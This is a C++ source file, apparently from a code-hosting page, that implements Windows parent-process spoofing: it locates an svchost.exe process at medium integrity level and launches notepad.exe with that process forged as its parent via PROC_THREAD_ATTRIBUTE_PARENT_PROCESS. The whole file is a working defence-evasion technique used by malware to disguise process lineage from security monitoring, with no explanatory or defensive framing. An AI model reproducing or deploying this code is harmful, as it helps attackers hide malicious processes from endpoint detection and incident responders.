1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185
| #include <windows.h> #include <TlHelp32.h> #include <stdio.h> #include <string> #include <iostream> #include <atlconv.h> using namespace std;
string get_last_error(DWORD errCode) { string err(""); if (errCode == 0) errCode = GetLastError(); LPTSTR lpBuffer = NULL; if (0 == FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, errCode, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR)&lpBuffer, 0, NULL )) { char tmp[100] = { 0 }; sprintf_s(tmp, "{未定义错误描述(%d)}", errCode); err = tmp; } else { USES_CONVERSION; err = W2A(lpBuffer); LocalFree(lpBuffer); } return err; }
LPCWSTR getProcessIntegrityLevel(HANDLE hProcess, PDWORD pdwIntegrityLevel) { DWORD dwError = ERROR_SUCCESS; HANDLE hToken = NULL; DWORD cbTokenIL = 0; PTOKEN_MANDATORY_LABEL pTokenIL = NULL; if (pdwIntegrityLevel == NULL) { dwError = ERROR_INVALID_PARAMETER; goto Cleanup; } if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) { cout << "[!] OpenProcessToken error!" << endl; dwError = GetLastError(); goto Cleanup; } if (!GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &cbTokenIL)) { if (ERROR_INSUFFICIENT_BUFFER != GetLastError()) { cout << "[!] GetTokenInformation no support !" << endl; dwError = GetLastError(); goto Cleanup; } } pTokenIL = (TOKEN_MANDATORY_LABEL*)LocalAlloc(LPTR, cbTokenIL); if (pTokenIL == NULL) { cout << "[!] pTokenIL is null" << endl; dwError = GetLastError(); goto Cleanup; } if (!GetTokenInformation(hToken, TokenIntegrityLevel, pTokenIL, cbTokenIL, &cbTokenIL)) { cout << "[!] GetTokenInformation error !" << endl; dwError = GetLastError(); goto Cleanup; } *pdwIntegrityLevel = *GetSidSubAuthority(pTokenIL->Label.Sid, 0); Cleanup: if (hToken) { CloseHandle(hToken); hToken = NULL; } if (pTokenIL) { LocalFree(pTokenIL); pTokenIL = NULL; cbTokenIL = 0; } if (ERROR_SUCCESS != dwError) { SetLastError(dwError); return L"ERROR"; } else { if (*pdwIntegrityLevel == SECURITY_MANDATORY_LOW_RID) { return L"LOW"; } else if (*pdwIntegrityLevel >= SECURITY_MANDATORY_MEDIUM_RID && *pdwIntegrityLevel < SECURITY_MANDATORY_HIGH_RID) { return L"MEDIUM"; } else if (*pdwIntegrityLevel >= SECURITY_MANDATORY_HIGH_RID) { return L"HIGH"; } else if (*pdwIntegrityLevel >= SECURITY_MANDATORY_SYSTEM_RID) { return L"SYSTEM"; } } } DWORD getPPID(LPCWSTR processName) { HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 process = { 0 }; process.dwSize = sizeof(process); bool flag = false; if (Process32First(snapshot, &process)) { do { if (!wcscmp(process.szExeFile, processName)) { HANDLE hProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, process.th32ProcessID); if (hProcess) { LPCWSTR integrityLevel = NULL; DWORD dwIntegrityLevel; integrityLevel = getProcessIntegrityLevel(hProcess, &dwIntegrityLevel); if (!wcscmp(integrityLevel, L"ERROR")) { cout << "[!] PID = " << process.th32ProcessID << " GetProcessIntegrityLevel failed, Error: " << get_last_error(GetLastError()) << endl; continue; } if (!wcscmp(integrityLevel, L"MEDIUM")) { flag = true; break; } } } } while (Process32Next(snapshot, &process)); } CloseHandle(snapshot); if (!flag) { cout << processName << " does have medium integrity level!!" << endl; exit(-1); } return process.th32ProcessID; } int main() { STARTUPINFOEXA si; PROCESS_INFORMATION pi; SIZE_T attributeSize; ZeroMemory(&si, sizeof(STARTUPINFOEXA));
LPCWSTR parentProcess = L"svchost.exe"; DWORD parentPID = getPPID(parentProcess); printf("[+] Spoofing %ws (PID: %u) as the parent process.\n", parentProcess, parentPID); HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, parentPID); InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize); si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize); InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize); UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL); si.StartupInfo.cb = sizeof(STARTUPINFOEXA); LPCWSTR spawnProcess = L"C:\\Windows\\System32\\notepad.exe"; CreateProcess(spawnProcess, NULL, NULL, NULL, TRUE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, (STARTUPINFO*)&si, &pi); printf("[+] Spawning %ws (PID: %u)\n", spawnProcess, pi.dwProcessId); return 0; }
|